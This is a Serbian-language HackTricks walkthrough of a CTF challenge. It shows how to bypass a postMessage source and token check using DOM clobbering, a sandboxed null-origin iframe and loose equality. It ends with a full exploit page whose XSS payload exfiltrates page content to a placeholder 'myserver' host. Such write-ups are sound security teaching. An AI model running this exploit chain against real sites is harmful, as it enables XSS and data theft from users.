Bypassing SOP with Iframes - 2

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Iframe-ovi u SOP-2

U rešenju za ovaj izazov, @Strellic_ predlaže sličnu metodu kao u prethodnom odeljku. Hajde da proverimo.

U ovom izazovu napadaču je potrebno zaobići ovo:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Ako to uradi, može poslati postmessage sa HTML sadržajem koji će biti upisan na stranici sa innerHTML bez sanitizacije (XSS).

Način za zaobilaženje prve provere je da se window.calc.contentWindow postavi na undefined i e.source na null:

  • window.calc.contentWindow zapravo predstavlja document.getElementById("calc"). Možete zameniti document.getElementById sa <img name=getElementById /> (napomena: Sanitizer API -ovde- nije konfigurisan da zaštiti od napada na DOM zamenu u svom podrazumevanom stanju).

  • Zato možete zameniti document.getElementById("calc") sa <img name=getElementById /><div id=calc></div>. Tada će window.calc biti undefined.

  • Sada nam je potrebno da e.source bude undefined ili null (jer se koristi == umesto ===, null == undefined je True). Ovo je "jednostavno" postići. Ako kreirate iframe i pošaljete postMessage iz njega i odmah ga uklonite, e.origin će biti null. Pogledajte sledeći kod.

let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

Da biste zaobišli drugu provjeru u vezi tokena, pošaljite token sa vrijednošću null i postavite vrijednost window.token na undefined:

  • Slanje tokena u postMessage sa vrijednošću null je jednostavno.

  • window.token se poziva u funkciji getCookie koja koristi document.cookie. Napomena da svaki pristup document.cookie na stranicama sa null porijeklom izaziva grešku. To će rezultirati da window.token ima vrijednost undefined.

Konačno rješenje od @terjanq je sljedeće:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Last updated